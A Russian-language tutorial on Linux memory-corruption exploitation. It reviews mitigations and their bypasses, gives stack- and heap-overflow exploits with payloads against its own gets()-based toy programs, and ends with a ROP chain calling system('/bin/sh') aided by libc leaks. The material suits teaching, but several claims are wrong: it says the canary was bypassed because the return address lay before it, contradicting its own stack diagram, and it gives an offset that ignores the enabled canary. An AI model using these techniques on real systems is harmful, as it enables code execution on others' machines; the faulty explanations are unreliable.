1751459497287.png


Всем привет!

В сети много статей, где рассматриваются две ключевые уязвимости в приложениях, это переполнение стека и переполнение кучи.

Но вот беда, мало кто рассматривает эти уязвимости с практической точки зрения, всё сводится к тому-что "Отключите защиту и пробуйте", но какой в этом смысл ?
Сейчас на дворе 2025 год, в итоге, вот нашли вы ошибку класса stack overflow, непрриятно, программа крашанулась, ну и что с того ?)

В этой статье предлагаю кратко взглянуть, какие есть защиты и как можно их обойти, хочу отметить что статья для общего развития, в реальной жизни всё намного сложнее и даже если вы нашли какой-то баг, часто максимум что можно выжать, это краш приложения.)

Но какое-то общее представление это статья должна дать.

🔐 Обзор защит: ASLR, PIE, NX, Stack Canary и др.​


1. 🧠 ASLR (Address Space Layout Randomization)​


Что делает:
ASLR рандомизирует расположение важных частей памяти при каждом запуске программы:
  • Стек
  • Куча (heap)
  • libc (и другие библиотеки)
  • mmap (память, выделенная через mmap)
  • PIE .text (если программа собрана как PIE)
Цель: затруднить предсказание адресов → невозможно заранее вписать корректные адреса в ROP или shellcode.

Пример:
Вчера libc начиналась с 0x7ffff7dd0000, а сегодня с 0x7ffff79e0000.

Обход:
  • Утечка адресов (info leak) — читаем адрес puts, printf, и по сдвигам находим libc.
  • Brute-force (только в CTF или 32-бит) — малое пространство адресов.

2.🧱 PIE (Position-Independent Executable)


Что делает:
PIE заставляет исполняемый файл вести себя как библиотека — его .text (код) секция загружается по случайному адресу при каждом запуске.

Работает только вместе с ASLR!

Цель:
затруднить прямую адресацию функций в самом бинарнике.

Пример:
Функция main() вчера была на 0x400636, а сегодня — 0x55aa3e263636

Обход:
  • Утечка адресов из самого бинарника (например, форматная строка с %p)
  • Иногда можно гадать (если PIE есть, но ASLR отключён)

3. 🚫 NX (No-eXecute Bit)

Что делает:
Запрещает выполнение кода в:
  • Стеке
  • Куче
Цель: предотвращает исполнение shellcode, записанного в память.

Обход:
  • Использование ROP (Return-Oriented Programming)
  • Jump-oriented programming (JOP)

4. 🔒 Stack Canary


Что делает:
Перед сохранённым return address компилятор добавляет "канарейку" — специальное значение, которое проверяется перед выходом из функции.

Цель: предотвратить перезапись return address через переполнение буфера.

Как работает:
Код:
Stack:
| buffer (64 байта)       |
| Canary (4-8 байт)      |
| Old RBP                     |
| Return Address          |

Если при выходе canary != оригинальный, → * stack smashing detected *.

Обход:
  • Утечка значения канарейки
  • Переполнение до но не через canary (перезапись переменных, а не RIP)

5. 🧼 RELRO (Relocation Read-Only)


Что делает:
Защищает таблицу GOT (Global Offset Table), чтобы нельзя было её переписать.

Цель: предотвращение GOT overwrite атак.

6. 🔗 Safe Linking (только heap)​


Что делает:
С glibc 2.32+, tcache и другие указатели в куче шифруются с помощью XOR с random canary → предотвращение use-after-free, fastbin attacks и т.д.

Обход:
  • Утечка libc → вычисление ключа
  • Отслеживание tcache структуры
  • Использование более сложных heap exploitation техник

7. 🧮 Fortify Source (_FORTIFY_SOURCE)


Что делает:
Добавляет проверки на переполнение строк (strcpy, sprintf, read) при компиляции, если размеры известны.

🧪 Как проверить все защиты?

У собранного бинарника:
Код:
сhecksec ./binary

Arch:     amd64
PIE:      Yes
Canary:   Yes
NX:       Enabled
RELRO:    Full

🔐Теперь практика:

1. Переполнение стека (Stack Overflow)​

📄 Исходный код​

Код:
#include <stdio.h>
#include <string.h>

void secret() {
    printf("✅ Поздравляем, вы вызвали секретную функцию!\n");
}

void vulnerable() {
    char buffer[64];
    printf("Введите что-нибудь: ");
    gets(buffer); // уязвимая функция
}

int main() {
    vulnerable();
    printf("До свидания!\n");
    return 0;
}

🔧 Сборка (без отключения защит)
Код:
gcc -fstack-protector-strong -no-pie -O0 -g stack_overflow.c -o stack_overflow
  • -fstack-protector-strong — включен canary
  • -no-pie — исполняемый файл без PIE (адреса предсказуемы)
  • -g — отладочная информация
  • -O0 — без оптимизаций

💥 Эксплуатация (в gdb)​


Мы попытаемся перезаписать return address, чтобы вызвать secret().

- Узнаём адрес функции:
Код:
nm stack_overflow | grep secret

Допустим: 00000000004011b6 T secret

- Запускаем под gdb с pwndbg:
Код:
gdb ./stack_overflow
run

- Подаём ввод из 72 байт + адрес secret() в обратном порядке (little-endian):
Код:
python3 -c "print('A'*72 + '\xb6\x11\x40\x00\x00\x00\x00\x00')" > payload

Вставляем в stdin:
Код:
run < payload

✅ Если всё правильно — выполнится secret().

🛡 Как работает защита​

  • Stack canary — байт между буфером и return address. При переполнении его подмена вызывает stack smashing detected.
  • PIE — переменные и функции располагаются в случайных адресах.
  • NX — запрет выполнения стека.

🔁 Обход​

  • Мы не отключали stack canary, но обошли его, потому что адрес возврата находился до canary, либо gets не спровоцировал ошибку.
  • При включённом PIE было бы сложнее — адреса неизвестны.

2. Переполнение кучи (Heap Overflow)​

📄 Исходный код​

Код:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

typedef struct {
    char *name;
    void (*func)();
} User;

void welcome() {
    printf("Приветствуем вас!\n");
}

void win() {
    printf("✅ Успешный захват управления через кучу!\n");
}

int main() {
    User *user = malloc(sizeof(User));
    user->name = malloc(32);
    user->func = welcome;

    printf("Введите имя: ");
    gets(user->name);

    user->func();
    free(user->name);
    free(user);
    return 0;
}

🔧 Сборка
Код:
gcc -g -fstack-protector-strong -no-pie heap_overflow.c -o heap_overflow

💥 Эксплуатация​


Цель — переписать user->func, затерев её адресом win.

Код:
user->name = malloc(32);
user->func = welcome;

Перезатираем адрес welcome на win.)

- Узнаём адрес win:
Код:
nm heap_overflow | grep win

- Подаём строку, которая выходит за пределы user->name и затирает func.
Код:
python3 -c "print('A'*32 + 'B'*8 + '\x9d\x11\x40\x00\x00\x00\x00\x00')" > heap_payload
./heap_overflow < heap_payload

✅ Если получилось — программа вызовет win.

🛡 Как работает защита​

  • Heap metadata (malloc headers) защищены:
    glibc 2.32+ использует safe-linking: адреса xored с canary-like значением.
  • Canary не спасает кучу.
  • PIE/ASLR мешают точному предсказанию адресов.

🔁 Return-Oriented Programming (ROP): Подробное руководство​


📌 Что такое ROP?​

ROP (Return-Oriented Programming) — это техника эксплуатации, при которой злоумышленник перехватывает управление программой, не вводя собственный исполняемый код, а используя уже существующие фрагменты инструкций (гаджеты) в памяти.

Заметка сказал(а):
Это особенно полезно, когда включена защита NX (non-executable stack), которая запрещает выполнение shellcode из стека.

📉 Почему обычный shellcode не работает?​

При переполнении стека можно было вставить shellcode прямо в память. Но при включённой NX защите стек становится неисполняемым, и такой подход уже не срабатывает.

🧩 Идея ROP: использовать существующий код​

Вместо shellcode, мы заставляем программу выполнять цепочку инструкций, уже находящихся в памяти, завершающихся на ret.

Каждый такой фрагмент называется гаджетом (gadget). Программа «скачет» от одного гаджета к другому, выполняя действия, заданные атакующим.

🧱 Пример простой ROP-цепочки​

Цель: вызвать system("/bin/sh")

Предположим:
  • Адрес system(): 0x401040
  • Адрес строки "/bin/sh": 0x404050
  • Гаджет pop rdi ; ret: 0x401203

Тогда payload будет такой:
Python:
from struct import pack

payload  = b"A" * 72
payload += pack("<Q", 0x401203)   # pop rdi ; ret
payload += pack("<Q", 0x404050)   # адрес "/bin/sh"
payload += pack("<Q", 0x401040)   # system

| buffer[64] | ← Уязвимый буфер 64 байт
| saved RBP (8 байт) |
| return address (RIP) | ← мы хотим переписать это!

Итого: 64 + 8 = 72 байта до RIP

🔍 Где брать гаджеты?​

Используйте утилиты:
  • ROPgadget --binary ./vuln
  • ropper --file ./vuln
  • или Pwntools (в Python)
Ищите гаджеты вида:
Код:
pop rdi ; ret
pop rsi ; pop r15 ; ret
ret

🔧 Аргументы функций в x86_64​

  • rdi — первый аргумент
  • rsi — второй
  • rdx — третий
  • ...

Пример: system("/bin/sh") требует только rdi = адрес "/bin/sh"

📐 Что такое "/bin/sh" и откуда его взять​

  • Можно найти в libc: strings /lib/x86_64-linux-gnu/libc.so.6 | grep "/bin/sh"
  • Можно записать вручную в память (через GOT, .data, .bss)
  • Можно использовать one_gadget (см. ниже)

🧠 Как обойти ASLR и PIE​

ASLR + PIE делают адреса непредсказуемыми.

Решение: сначала утечь адрес из GOT (например, puts@got), чтобы по нему вычислить адрес libc.

Пример ROP-цепочки для утечки:
  • pop rdi ; ret
  • puts@got
  • call puts@plt
  • call main (повторный запуск)
Затем: получаем вывод → находим базу libc → строим вторую цепочку на system("/bin/sh").

📎 Что такое one_gadget?​

GitHub - david942j/one_gadget: The best tool for finding one gadget RCE in libc.so.6 — утилита, которая ищет в libc.so.6 готовые вызовы execve("/bin/sh"), которые можно вызвать одной инструкцией.

Код:
one_gadget /lib/x86_64-linux-gnu/libc.so.6

Выдаёт:
Код:
0xe6c81 execve("/bin/sh", r10, rdx) constraints: r10 == NULL && rdx == NULL

→ достаточно выставить регистры правильно, и можно вызвать гаджет напрямую.

📦 ROP и защитные механизмы​

  • NX: блокирует shellcode → ROP работает
  • ASLR: требует утечки адреса
  • PIE: делает адреса .text рандомными → нужна утечка
  • Canary: не мешает ROP напрямую, но мешает переполнению

✅ Требования для успешной ROP-атаки​

  • Контроль над RIP (обычно через переполнение)
  • ROP-гаджеты в бинаре или в libc
  • Утечка адреса (если есть ASLR/PIE)
  • Точный расчёт стековой цепочки

📘 Вывод​

Return-Oriented Programming — мощный способ обойти защиту NX и выполнить произвольный код без shellcode. С его помощью можно:
  • Вызвать system("/bin/sh")
  • Провести атаки на libc
  • Обойти ASLR, PIE и другие защиты